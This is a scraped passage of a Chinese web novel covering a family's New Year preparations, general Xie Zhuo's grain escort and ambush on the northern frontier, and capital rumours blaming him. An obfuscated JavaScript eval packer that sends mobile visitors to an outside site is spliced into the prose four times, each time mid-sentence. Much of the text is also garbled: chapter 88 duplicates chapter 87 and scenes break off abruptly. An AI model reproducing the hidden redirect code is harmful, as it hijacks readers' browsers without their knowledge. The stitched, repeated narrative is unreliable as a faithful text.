小月现在被她安排在太白楼后厨里帮忙,等扶云阁开起来了她就不能留在太白楼了。扶云阁里的食物傅知乔准备让小月全权负责,所以,太白楼里还需要雇佣几个厨子和小工才行。 一连串的事情安排下去,所有人又开始忙了起来。 十二月一过,就要开始准备过年的相关事宜了。 今年,傅知乔和余柔岚打算留在京城过年,人不能回去,她就给在青州的文山文江写了一封信。 在信中,她说了要过年前要给所有的工人们奖金,奖金要比去年翻一倍,还说了等开春后庄园里需要扩大桃黍的种植面积,让他们组织人手继续开垦荒地。 考虑到稻谷、高粱等收成多了没地方存放,还要再多建两个粮仓才行,为明年的收成提前做好部署。 粮仓是用来存放粮食的,要特别注意防潮防虫,所以墙壁要比一般房子更厚一些,要选最厚的石料、最好的瓦片……傅知乔洋洋洒洒写了好几页纸才停了笔。 第一次在京城过年,崔嬷嬷带着银杏出去采买红灯笼、红纸,想把小院里重新装扮一番。 新年的气氛越来越浓,也不知道京城这边的风俗是怎么样的,想来应该跟青州的风俗差不多吧? 傅知乔按照往年的习惯,选中了一匹靛蓝织金锦缎布料为余柔岚做了新衣服,金晃晃的云雁纹图案显得格外贵气,她还花重金买了一套红玉珊瑚头面送给余柔岚。 “娘,你快来看看喜不喜欢?” “我都一把岁数了,衣裳首饰也够穿够戴,真的不用买这么多。” “那怎么办?反正买都买了退也退不了,您就将就着穿穿吧!” 余柔岚佯装生气,但眼里的笑意怎么都掩饰不住:“你就会乱花钱!” 傅知乔赶紧露出一个讨好的笑:“娘,您现在可是太白楼里最最重要的管账先生,若是连套像样的头面都没有,说出去像什么话?” 余柔岚本来就没生气,被傅知乔一箩筐的好话哄了一下,连脸都板不起来了,她忍不住伸手在傅知乔的小脸上掐了一把:“这次就算了,往后你可不许乱花钱了!” 傅知乔点头应下,房间里的丫鬟们都在捂嘴偷笑,整个院子里一片喜气。 * 大魏二十五年。 蛮夷西厥等小国兴兵入侵大魏边界,他们接连攻破数道边关要塞,造成了不少大魏将士的伤亡。 北疆,凉州城池。 士兵们正在把东西装到运粮的马车上,车马上堆满了大军需要的粮草、兵器、衣物。 谢卓看着不远处密密麻麻的士兵,深深地吐了一口气,问:“探子都派出去了?” 他身后的小兵回答:“回将军的话,已经派出去了!” “将军,粮草已经准备妥当,可否立刻出发?”上千辆的车队排成了一条长龙,等侯谢卓的命令。 所有的物资都已清点完毕。 “出发!”谢卓夹了一下马腹,下令让全军出发。 谢卓目前所在的位置是凉州城,他此行的任务是要把十万斤粮草送到两百里之外的安丰镇,那里是罗振海带领的先锋部队的驻扎地点。 粮草是行军打仗的命脉,也是敌人觎觑的目标。 兵马未动粮草先行,粮草是决定我军能不能打胜仗的重要物资,绝不容有半点闪失! 人在粮在! 这十天内,谢卓的生命是与这些粮草绑在一起的。 谢卓顶着骁骑军副将的名头,并没有被派到前线杀敌,而是被委派成了后方的援军。 这活看似轻松,其实一点也不容易。 押运粮草是个苦差事,一路上的艰辛就不说了,最后论功行赏也很少会奖赏到粮草押运官头上,更别说万一在路上被敌人偷袭,耽搁几天误了粮草到达的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14182536|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那可是要杀头的罪过。 从凉州赶往安丰镇,起码得走十天的时间才能到,把数十万斤的粮草从凉州城送到安丰镇可不是一件容易的事情。此行谢卓手底下只有一万多人马,其中有两千人是骁骑军中出来的,而剩下的九千多人则是从各处抽调而来的兵力。 为了减轻负担,加快脚程,谢卓带着一万多人马轻装简行,大多士兵穿着的都只是加厚的粗布麻衣,只有最外层的两三千士兵穿的是真正的甲胄。 谢卓是第一次干押运粮草这种差事,他时刻保持高度的戒备状态。 北疆寒冷,大雪封路,车马陷在雪堆里寸步难行,谢卓只能派出一队人马在前方铲雪。 “传令下去,所有人加快速度,两天后我们必须要赶到安丰镇,绝不能让我大魏的战士饿着肚子打仗!” 一边铲雪,一边赶路。 谢卓率领一万多人马继续向北而去。 越往北走越是人迹罕至,连续几天日夜不停地赶路,所有人都很疲倦。 即便在冰天雪地里,士兵们个个都累的满头大汗,鼻子、嘴巴里面呼出的热气瞬间变成了雾气,就连头顶上也有冒出一缕缕白色的热气,很快又消散在空气中。 天渐渐暗了。 王骞信点燃了一个火折子,借着火光展开了一张行军地图,他指着地图上的两点,说:“将军,我们已经到了安丰镇的地界了,前面不远处就是古塘山,您看接下来咱们是就地扎营还是连夜赶路?” 行军的地图画的很细致,每一处高山、水源都被标注了出来。 谢卓盯着的地图认真的看了起来,地图上标示的很清楚,翻过这座山就能到达安丰镇。 越靠近安丰镇就说明他们与敌人也就越近,士兵们不熟悉地形,带着重重的粮草连夜翻山恐怕会出意外,谢卓当即下令所有人就地扎营。 原地休息一夜,只要明日早点出发就不会延误送粮的日期。 谢卓骑着马沿着驻扎地巡视,他一边骑行一边向身旁王骞信下令,“传令下去让所有人打起精神来!押运粮草乃是要务,切不可出半点差错!” “将军放心!按将军的吩咐,前方的探子的已经警戒到百米之外了。” 蛮夷西厥联军接连拿下数个城镇,安丰镇是凉州城的最后一道防线了。虽说他们目前的位置是处于防线后方相对安全,但谢卓依然不敢有片刻放松,他一路上广设岗哨,以免被敌军偷袭劫走粮草。 夜晚是敌人发起偷袭的最佳时机。 午夜时分士兵都在休息,这个时辰人的精力是最为衰弱的,防备也是松懈的。为了防止意外事件发生,谢卓下令将粮草全部集中到营地的最中央,将士们围绕着粮草周围宿营。 把粮草放在最中心的位置,敌人想要抢夺粮草至少要突破外圈的骑兵和步兵营的防御,这样能最大程度减少敌袭的风险。 一路上,谢卓都紧绷着神经。 好在有惊无险,十天后,他顺利带着粮草到达了安丰镇,与罗振海身边的校尉田胜交割完成之后,押运粮草的任务才算彻底完成。 86. 五味粉的作用 粮草短缺,会让他们不得不选择速战速决。 罗振海:“在粮草的诱惑下,相信他们不出三日就会主动发起攻击了。” 蛮夷联军在前方虎视眈眈,需要援兵的信息发不出去,镇子上剩余的粮草也有限,如何在这半个月内破了这死局才是他们要做的。 “可是我们现在只有一万人马,拿什么守住这地盘?”田胜问道。 “那就派兵去凉州请援兵!” “我们现在被三四万敌军围着,援军进的来吗?” “……” 将士们聚在一起,商量了半天,最后还是决定用谢卓的计划。 罗振海脚伤未愈,谢卓现在是这里最厉害的人:“末将斗胆提议,我们先派一部分人马佯攻敌军,吸引他们的注意力,再悄悄派出一队人马出去兵分两路,一队人马回凉州搬救兵,另一队人马绕到敌军背后偷袭,让他们自乱阵脚,等援军到的时候来个里应外合……” 制定好援兵计划,新的问题又出现在他们眼前。 谢卓要带兵去敌军后方偷袭,安丰镇里剩下这一万多士兵能抵挡住三四万的蛮夷联军的攻击吗? “半个月!”谢卓鼓舞士气:“只要我们能守住不被敌人攻入,半月后,我必定将援兵带到!” 罗振海一脸煞气:“只要有我罗振海一口气在,就能确保安丰镇不失!” 粮草不够怎么办?一天两顿省着点吃! 箭矢不够怎么办?镇子上这么多的房屋,没木材造箭那就拆屋! 是成是败,就看这一次了!罗振海看着谢卓离去的背影,心里默念着:一定要成功!一定要成功才好! 两军都在相互监视着对方,想要出去可不是件容易的事情。 “王骞信,你待会你率领两个校尉跟在我后面,时刻听从命令。” “遵命!” 夜色朦胧,安丰镇城墙的大门悄悄打开。 谢卓带领一支骑兵冲了出来,速度奇快,他们一路策马狂奔来到的岔路。 谢卓果断命令道:“散开!” 田胜带着二十名骑兵往凉州方向赶去,谢卓则让自己手下的骑兵分为两队往不同的方向跑去。 骑兵速度太快,霎时间,一队人马变成了三队人马,还分别跑去了不同的方向,这让蛮夷联军一时间不知道去追谁。 谢卓主动挑衅敌军为田胜争夺逃跑的时间,最后田胜甩掉了追击,但他自己就没那么好运了。谢卓一边策马奔驰,一边取箭架弓对准那些追踪而来的蛮夷军射去,想借此摆脱追击。而他身后的蛮夷军也不是吃素的,看到谢卓拉弓的姿势后,侧身贴在马背上躲避。 “射马腿!”谢卓大喊一声。 骁骑军中的弓箭手听到他的命令迅速对准狠狠朝马腿射去。 瞬间几匹战马倒地,还有些马儿吃痛忍不住立起嘶鸣,直接把马背上的人摔了下来。其余的战马受惊后失去控制,场面变得混乱起来,这么一耽搁,蛮夷军的速度就慢下来。 谢卓带领着骁骑军趁机甩开了追击。 * 寒意浸地,万物凋零,天地间流动着肃杀之气,谢卓带着一批人马已经在此埋伏了好几天。 一行人趴在雪地里,连睫毛都结了一层冰霜。 “将军,援军什么时候到?不是说三天后吗?我们都已经等了五天了,情报是不是有误?” “再等等。”谢卓眉头紧皱,他身上的铠甲上面有不少已经凝固了的血渍。 根据计划,田胜带着一小队人马回凉州搬救兵,谢卓的武力更强一些,他带着五百骑兵偷袭完敌军的战马营地,为防止敌军追击他们一直东躲西藏,最后选择埋伏在这个密林里。 前两日,探子收到消息,说大魏援兵正在赶来的路上了,可他们已经在雪地里埋伏了五天了,再不来人他们就要冻成冰雕了。 这余天里,他们饿了就啃饼子,渴了就吃两口雪,恶劣的环境让他们疲惫不堪。可干粮都快吃完了还不见援军的影子,再这样下去也不是个事,留下两个士兵盯梢,谢卓让其他人退回到树林里。 他们不是没有想过打猎填饱肚子,可冬天万物冬眠,连个活物的影子都没见到,身为突击小队要时刻准备好战斗,可一直饿着肚子哪有体力参加战斗呢? 谢卓想到了什么,问:“你们中可有人识的野菜?” 王骞信自然是明白谢卓的意思的,见其他士兵们怔住了,他提醒了一句,“将军问话呢,一个个都哑巴了?” 当下就有好几个士兵举手,他们都是农家出身,认识些野菜不在话下。 冰天雪地里,放眼望去就是一片白色,踩上去还会发出嘎吱嘎吱的声音,士兵门只能把雪扒开去找野菜,不一会儿就摘回来了一些荠菜和一些不知名的野菜。 捡柴火、找木材削木碗、架锅烧雪水……所有人分工合作,王骞信把摘来的野菜扔进锅里,然后又撒了一大把五味粉进去,不一会儿,锅中“咕噜咕噜”冒着泡,香味飘了出来。 士兵们眼巴巴地瞧着锅里的野菜汤,闻着香味咽了咽口水。 王骞信得意的笑了笑,傅姑娘做的香菇肉酱已经吃光了,剩下的这些五味粉他可是到哪都要带着的,这不马上就发挥作用了! 这群士兵已经四五天没有吃到过热乎的食物了,此时个个都是狼吞虎咽的,嘴里还不听说着“真香啊!”“王护卫你手艺真好!” 即便每个人都只能分到一些菜叶子,但能喝到鲜美的热乎的菜汤,他们已经很满足了! 谢卓听到这些夸奖后揶揄地看了王骞信一眼,王骞信收下这些夸奖:“快吃吧!吃也堵不住你们的嘴!” 吃饱喝足,连续紧绷了两天的精神终于可以放松片刻了。 涂兴旺是骁骑军的新兵,他是第一次上战场,憧憬着自己能当上大将军回去光宗耀祖。 听完涂兴旺杀敌挣军功的想法,几个年长一些的士兵都笑了起来,对新兵而言,只有经历一次战场的洗礼,明白了战争的残酷后才能快速成长起来。 “小子,军功不是那么好拿的,前提是你有命拿,别到了战场就吓的尿了裤子。” “我才不会!” 美餐一顿后,他们要继续埋伏在此等待援军到来。 * 与此同时,八百里加急的北疆的战报送进了皇宫。 什么?边疆数个小镇被蛮夷联军攻破,罗振海身负重伤?凉州守关大将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262123|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜志云被敌军缠住无法脱身?谢卓带兵引开敌军现在不知生死? 一连串的坏消息让承德皇帝眉头紧皱。 急报上写着:杜志云将军带领先锋部队击退敌军数十公里,因为大半主力都被杜志云带到前线去了,多以安丰镇现在所剩的兵力已经很少,凉州总兵詹英杰已经带着的两万将士已经赶往安丰镇支援了。 “罗振海可有大碍?” “回陛下,罗将军腿部负伤,不过并无大碍,现在正在安丰镇休养。” “谢卓生死未卜又是怎么回事?” “安丰镇现在被敌军包围着,谢将军带着几百将士突出重围迎战敌方数千人,现在……生死不知!” 承德皇帝听后怒拍桌子,书房门口的太监都低着头,不敢发出半点声音。 三更天,皇帝的御书房仍旧灯火通明。 吃了战败这种消息是最难以让人接受的,大魏将士与蛮夷联军交战数次,虽目前略占优势但并没有取胜,双方长久僵持下去也不是长久之计。而且,魏军的几个将领们伤的伤,失踪的失踪,承德皇帝在考虑是否要指派新的将军过去。 第二天,朝堂上。 北疆的消息传回来,文武百官却是满怀心思,他们把目光隐晦的看向了谢弛。老王爷不再管事,现任王爷领的是闲职,世子爷谢卓是端亲王府唯一的男丁,他要是出事了…… 谢弛强压下心头的震惊,握紧拳头尽力稳住自己的身形,他深吸一口气,安慰自己:谢卓一定不会有事的!一定不会有事的! 承德皇帝坐在高高的龙椅上俯瞰着下面的群臣,“蛮夷西厥联军踏入我大魏境内,杀我百姓,抢掠物资,这笔债不能就这么算了!如今罗振海身负重伤,谢卓生死不知,依各位爱卿之计,如今朝堂上还有谁可取代罗振海之位,前往凉州退敌?” 人选倒是有,护国将军蒋同浦武艺高强,熟读兵法,在陇西一带更是有战神之称。由他征战凉州再适合不过,不过他一直陇西镇守边关,实在分身乏术! 若是把蒋同浦调回派去北疆,那陇西一带怎么办?旁边大齐对大魏一直是虎视眈眈呢! 大魏疆土广阔,总不能顾头不顾尾! 大臣们分成了两派,一边支持蒋同浦带兵去凉州,另一边支持蒋同浦留守陇西,两边臣子你来我往,一时分不出伯仲。 此次早朝比以往多开了一个时辰,众多大臣聚在一起却没有商量出一个好的对策。 “我大魏人才济济,难道能上战场的只有护国将军一人了吗?”承德皇帝冷哼了一声,不想再多言。 面对皇帝愤怒的提问,臣子们颤抖着伏跪一地:“臣等无能,请皇上恕罪!” 承德皇帝看着跪了一地的臣子,眸中闪过失望。 大自魏建国以来,一直是重文轻武的风气,这不,现在弊端出现了,国家紧急时刻居然挑不出几个有用的武将! “派幽州刺史领军五万即刻前往凉州支援!” 昨夜收到前线战报后,承德皇帝就叫上太尉和兵部尚书进宫商讨了,幽州离凉州近一些,从幽州调兵前去支援确实是一种方法。 皇帝起身向外走去,旁边的贴身太监刘正德连忙喊了:“退朝!” 87. 圣心难测 等承德皇帝的背影完全消失在大殿上后,大臣们才离开。 大殿门口,一群怕事的官员看到谢弛后并没有主动靠近并且投去了欲言又止的目光,谢弛轻叹了口气,顾不得太多急步向外走去,车夫平稳驾着车回到端亲王府。 谢弛跨过大门往谢和山的院子走去,他脸色阴沉,还没来得及说话。 谢和山就说他已经知道此事了,昨夜皇帝召见太尉和兵部尚书进宫的时候他就收到了消息,也第一时间安排王府的暗卫前去调查情况了。 对于父王早已知晓前线战况这件事,谢弛丝毫不感到意外,端亲王府根基深厚,眼线耳目遍地都是。 “我们的人已经进入凉州的地界了。” “有新的消息传来吗?”谢弛有点迫不及待,算算日子,战报从凉州传到京城至少要五六天的时间,现在又过去了好几天,也不知道卓儿现在怎么样了。 “我刚得到消息,安丰镇守住了,不过罗振海和一万将士现在被蛮夷联军围困住了,好在朝廷从幽州调去凉州支援的五万将士兵也快到了……” “那卓儿?” “卓儿应该没事,只是与大军失去了联系。卓儿身为副将,他如果被抓住了敌军定然会大肆宣传一番并威胁大魏退兵,不可能会这么悄无声息,然而现在两军依然是对峙状态,说明他没有落入敌人手中!” 听了谢和山一番分析后,谢弛松了口气。 虽然朝廷有意压制,但北疆战事吃紧的消息还是在京城传播开来。 这个沉重的消息直接冲淡了百姓们过年的喜气,因为前不久才征兵,京城的家家户户至少有一人在战场上杀敌,前方战事吃紧的消息传回来让无数百姓揪心不已。 “前日北边境来了急报,蛮夷西厥联军大举入侵,来势汹汹,已经攻下了数个城镇。”银杏被冷风吹的脸色有些发红,她把在外头听到的消息告诉傅知乔。 “谢将军他,他……” “他怎么了?”傅知乔顿感不妙。 银杏咬了咬牙,面色沉重:“外头都传,谢将军被敌军追击,现在生死未卜。” 谢卓生死未卜? 傅知乔只觉得眼前一阵眩晕,险些站不稳了,她扶着桌子坐下来,喉咙像是被扼住一般:“消息确切吗?” 银杏赶忙扶住她,却发觉她手心里全都是汗。 银杏低声说道:“据说是宫里传出来的消息……”银杏知道她心中不好受,一时间也不知道该说什么话来安慰她。 “去把盛安叫来!”傅知乔吐出一口气,轻轻拍了拍银杏的手,示意她安心。 盛安是王府的暗卫,消息自然要比一般人清楚的多。他并未跟傅知乔透露太多前线的消息,只说世子爷现在平安无事,请她保重身体不要过于担忧,安心在家中等消息即可。 盛安都这么说了,傅知乔只能相信,除了盛安之外,她也没有别的渠道能探听到这些内部消息。 之后的两天里傅知乔一直没有出门,她在计划着扶云阁开店一事。自从听到谢卓在战场上生死未卜的消息后,她就一直心神不宁,只能想办法做些事转移自己的注意力。 谁知才两日过去,京城的风向就变了。 安丰镇被围困,前线战事吃紧,朝廷已经从幽州调兵去支援凉州,这个消息不知为何传到了民间变成了是端亲王府世子谢卓一意孤行,落入敌军的圈套才导致安丰镇被围困。 谢卓行事风格是极为沉稳的,绝对不会因为贪功而做出错误的决定,可他现在失去消息,生死未卜…… 傅知乔心烦不已,但理智告诉她不能慌乱,联系不上不代表人就出事了,大魏没有发达的通信条件,消息滞后是正常情况。 她下意识摸了摸手上的佛珠,这串佛珠是当初在禹州的时候东觉大师送给她的,每次她感到心烦的时候只要摸一摸这串佛珠就会觉得平静不少。 但是谢卓现在生死未知,不利于他的言论也在外面传的沸沸扬扬,傅知乔无法静下心等候消息,她决定去永安寺为他祈福。 人力无法控制的事情只能请求老天保佑了。 * 雨竹轩内。 “什么?卓儿现在生死未卜?”左慕蕊心急如焚,双手发麻的厉害。她只觉得周身上下都被一股寒气包裹着,早知有今日,她当初就不应该让谢卓走武将这条路,现在他在战场上失踪,生死未卜…… “你先冷静,父王已经派人前去打探了,卓儿现在是安全的!” 哪怕谢弛再三安慰,左慕蕊还是担心的吃也吃不下,睡也睡不着,她朝门外喊道:“来人,备马车!” 她要去永安寺,为谢卓和其他大魏将士们祈福。 永安寺大殿内,左慕蕊带着谢怀薇跪在佛像前:“阿弥陀佛!阿弥陀佛!请佛祖保佑我儿和将士们早日凯旋归来,尤其是我儿谢卓,请佛祖一定要保佑他平安健康!” 她嘴里念念有词,取过一旁的僧人递过来的香恭敬地插在香炉,接着又叩了三个响头。 在大殿里上完香出来,左慕蕊和谢怀薇跪在单独为她们准备的佛堂里诵经祈福。 两人诚意十足,整整在佛前跪了一个时辰,以至于站起身的时候,谢怀薇腿脚酸麻到好似失去知觉一般,歇息了半晌,她才恢复过来,辛苦归辛苦,为自己哥哥祈福再辛苦她也愿意。 受到北疆战事吃紧的消息,来永安寺祈福的络绎不绝,其中有很多都是年纪偏大的妇人,给自己在战场上的儿子祈福。 进了大殿,吟诵佛经和敲击榆木的声音令人感到心安。 三叩三拜,满心虔诚,上完香接着要去挂祈福带。 “阿弥陀佛,施主可是来祈福的?”一个小僧双手合掌:“请往这边走!” 从僧人那里领到一条祈福带,傅知乔在上面写下:谢卓,平安归来。 写完她就出去挂祈福带,走到转角的时候听见有人在议论谢卓。 “我听说这次是败仗的原因是罗将军手下的一个副将,是他冲动行事,想乘胜追击结果却落入了敌人的圈套中。” “嘘!你小点声,你知道这个副将是谁吗?是端亲王府的世子爷!” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314635|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怎么样?是他贪图功劳才导致我们吃了败仗,怎么还不让人说了!” 劝人的男子环顾了四周:“人家是什么身份,是皇亲国戚!他不是我们这种平头百姓可以谈论的!” “住在我家隔壁的二柱子,他的姐夫在一个大官家里做管事,听说已经有官员联合起来准备上折子给陛下弹劾世子爷了。” “真的吗?朝廷要变天了吗?” “活该!都是他年轻气盛才会王这么多的将士白白牺牲性命……” 傅知乔听不下去了。 “你怎么知道是他的原因?胜败乃兵家常事,有哪位将军敢保证自己此生不打败仗?你口中的那个吃了败仗的副将是端亲王世子,他在战场上抛头颅洒热血,守护疆土保卫百姓。而你们,你们这些受到保护的人却在背后嚼他们的舌根,责怪他们吃了败仗,你们的良心被狗吃了吗?” 一番指责的话让那几个人面红耳赤,低着头走开了,傅知乔冷哼一声想继续去挂祈福带,却在转身的时候看到左慕蕊,愣了一下后,她俯身向左慕蕊行了个礼。 左慕蕊也注意到了傅知乔,以她的容貌到哪里都是引人注目的。 傅知乔刚才那番维护谢卓的话全被她听到了,她扭过头上下打量了傅知乔一眼,眼神飘到到傅知乔手上的祈福带上写的是谢卓的名字后,礼节性的点了点头便没再说什么。 倒是她身后的章嬷嬷对着傅知乔笑了笑。 同样对傅知乔笑了的还有谢怀薇,她用亮晶晶的眸子盯着傅知乔,哥哥和母妃因为一个女人吵过架的事她是知道的,难道,眼前这个貌美的女子就是哥哥和母妃吵架的原因吗? 谢怀薇一颗八卦的心快要按捺不住了,就连侧身而过后还频频回头看向傅知乔。 从永安寺回来,傅知乔照常去太白楼巡铺子,发现酒楼里的食客们都在讨论与蛮夷联军打仗一事,其中不乏有怪罪谢卓的说法,甚至有人怀疑谢卓早就跟蛮夷西厥勾搭在一起了,是故意吃败仗的。 谣言传的有模有样,这把火很快就从谢卓身上烧到了端亲王府。 百姓们不再讨论北疆一带的战事,他们的注意力全部放在了王府是否意图谋反篡位上。 有人说谢卓之所以在战场上表现不佳是受到了端亲王的指使,故意拖我军后腿为敌军制造机会等,还有人说端亲王意图不轨,早就与蛮夷小国达成了合作,等蛮夷联军在北疆一带作乱后,端亲王就会借助蛮夷的势力登上王位。 一时间,要弹劾、要问责、要给端亲王治罪的言论尘嚣而上。 民间流言四起,文武百官在局势没有明朗之前可不敢胡乱上谏。 勾结外敌可是重罪,足以让端亲王从皇族贬为庶人。 端亲王谢弛虽然现在是个闲散王爷,但老王爷谢和山年轻时可是雷霆手段,没有人敢直接触他的霉头。 关于谢卓在军中贪功冒进的的传闻当然是假的,奏折上写的一清二楚,谢卓非但没有惹事,反而是帮助田胜突出重围送信立下了汗马功劳。 那朝廷为何不出来制止这种流言呢? 88. 圣心难测 等承德皇帝的背影完全消失在大殿上后,大臣们才离开。 大殿门口,一群怕事的官员看到谢弛后并没有主动靠近并且投去了欲言又止的目光,谢弛轻叹了口气,顾不得太多急步向外走去,车夫平稳驾着车回到端亲王府。 谢弛跨过大门往谢和山的院子走去,他脸色阴沉,还没来得及说话。 谢和山就说他已经知道此事了,昨夜皇帝召见太尉和兵部尚书进宫的时候他就收到了消息,也第一时间安排王府的暗卫前去调查情况了。 对于父王早已知晓前线战况这件事,谢弛丝毫不感到意外,端亲王府根基深厚,眼线耳目遍地都是。 “我们的人已经进入凉州的地界了。” “有新的消息传来吗?”谢弛有点迫不及待,算算日子,战报从凉州传到京城至少要五六天的时间,现在又过去了好几天,也不知道卓儿现在怎么样了。 “我刚得到消息,安丰镇守住了,不过罗振海和一万将士现在被蛮夷联军围困住了,好在朝廷从幽州调去凉州支援的五万将士兵也快到了……” “那卓儿?” “卓儿应该没事,只是与大军失去了联系。卓儿身为副将,他如果被抓住了敌军定然会大肆宣传一番并威胁大魏退兵,不可能会这么悄无声息,然而现在两军依然是对峙状态,说明他没有落入敌人手中!” 听了谢和山一番分析后,谢弛松了口气。 虽然朝廷有意压制,但北疆战事吃紧的消息还是在京城传播开来。 这个沉重的消息直接冲淡了百姓们过年的喜气,因为前不久才征兵,京城的家家户户至少有一人在战场上杀敌,前方战事吃紧的消息传回来让无数百姓揪心不已。 “前日北边境来了急报,蛮夷西厥联军大举入侵,来势汹汹,已经攻下了数个城镇。”银杏被冷风吹的脸色有些发红,她把在外头听到的消息告诉傅知乔。 “谢将军他,他……” “他怎么了?”傅知乔顿感不妙。 银杏咬了咬牙,面色沉重:“外头都传,谢将军被敌军追击,现在生死未卜。” 谢卓生死未卜? 傅知乔只觉得眼前一阵眩晕,险些站不稳了,她扶着桌子坐下来,喉咙像是被扼住一般:“消息确切吗?” 银杏赶忙扶住她,却发觉她手心里全都是汗。 银杏低声说道:“据说是宫里传出来的消息……”银杏知道她心中不好受,一时间也不知道该说什么话来安慰她。 “去把盛安叫来!”傅知乔吐出一口气,轻轻拍了拍银杏的手,示意她安心。 盛安是王府的暗卫,消息自然要比一般人清楚的多。他并未跟傅知乔透露太多前线的消息,只说世子爷现在平安无事,请她保重身体不要过于担忧,安心在家中等消息即可。 盛安都这么说了,傅知乔只能相信,除了盛安之外,她也没有别的渠道能探听到这些内部消息。 之后的两天里傅知乔一直没有出门,她在计划着扶云阁开店一事。自从听到谢卓在战场上生死未卜的消息后,她就一直心神不宁,只能想办法做些事转移自己的注意力。 谁知才两日过去,京城的风向就变了。 安丰镇被围困,前线战事吃紧,朝廷已经从幽州调兵去支援凉州,这个消息不知为何传到了民间变成了是端亲王府世子谢卓一意孤行,落入敌军的圈套才导致安丰镇被围困。 谢卓行事风格是极为沉稳的,绝对不会因为贪功而做出错误的决定,可他现在失去消息,生死未卜…… 傅知乔心烦不已,但理智告诉她不能慌乱,联系不上不代表人就出事了,大魏没有发达的通信条件,消息滞后是正常情况。 她下意识摸了摸手上的佛珠,这串佛珠是当初在禹州的时候东觉大师送给她的,每次她感到心烦的时候只要摸一摸这串佛珠就会觉得平静不少。 但是谢卓现在生死未知,不利于他的言论也在外面传的沸沸扬扬,傅知乔无法静下心等候消息,她决定去永安寺为他祈福。 人力无法控制的事情只能请求老天保佑了。 * 雨竹轩内。 “什么?卓儿现在生死未卜?”左慕蕊心急如焚,双手发麻的厉害。她只觉得周身上下都被一股寒气包裹着,早知有今日,她当初就不应该让谢卓走武将这条路,现在他在战场上失踪,生死未卜…… “你先冷静,父王已经派人前去打探了,卓儿现在是安全的!” 哪怕谢弛再三安慰,左慕蕊还是担心的吃也吃不下,睡也睡不着,她朝门外喊道:“来人,备马车!” 她要去永安寺,为谢卓和其他大魏将士们祈福。 永安寺大殿内,左慕蕊带着谢怀薇跪在佛像前:“阿弥陀佛!阿弥陀佛!请佛祖保佑我儿和将士们早日凯旋归来,尤其是我儿谢卓,请佛祖一定要保佑他平安健康!” 她嘴里念念有词,取过一旁的僧人递过来的香恭敬地插在香炉,接着又叩了三个响头。 在大殿里上完香出来,左慕蕊和谢怀薇跪在单独为她们准备的佛堂里诵经祈福。 两人诚意十足,整整在佛前跪了一个时辰,以至于站起身的时候,谢怀薇腿脚酸麻到好似失去知觉一般,歇息了半晌,她才恢复过来,辛苦归辛苦,为自己哥哥祈福再辛苦她也愿意。 受到北疆战事吃紧的消息,来永安寺祈福的络绎不绝,其中有很多都是年纪偏大的妇人,给自己在战场上的儿子祈福。 进了大殿,吟诵佛经和敲击榆木的声音令人感到心安。 三叩三拜,满心虔诚,上完香接着要去挂祈福带。 “阿弥陀佛,施主可是来祈福的?”一个小僧双手合掌:“请往这边走!” 从僧人那里领到一条祈福带,傅知乔在上面写下:谢卓,平安归来。 写完她就出去挂祈福带,走到转角的时候听见有人在议论谢卓。 “我听说这次是败仗的原因是罗将军手下的一个副将,是他冲动行事,想乘胜追击结果却落入了敌人的圈套中。” “嘘!你小点声,你知道这个副将是谁吗?是端亲王府的世子爷!” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360890|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怎么样?是他贪图功劳才导致我们吃了败仗,怎么还不让人说了!” 劝人的男子环顾了四周:“人家是什么身份,是皇亲国戚!他不是我们这种平头百姓可以谈论的!” “住在我家隔壁的二柱子,他的姐夫在一个大官家里做管事,听说已经有官员联合起来准备上折子给陛下弹劾世子爷了。” “真的吗?朝廷要变天了吗?” “活该!都是他年轻气盛才会王这么多的将士白白牺牲性命……” 傅知乔听不下去了。 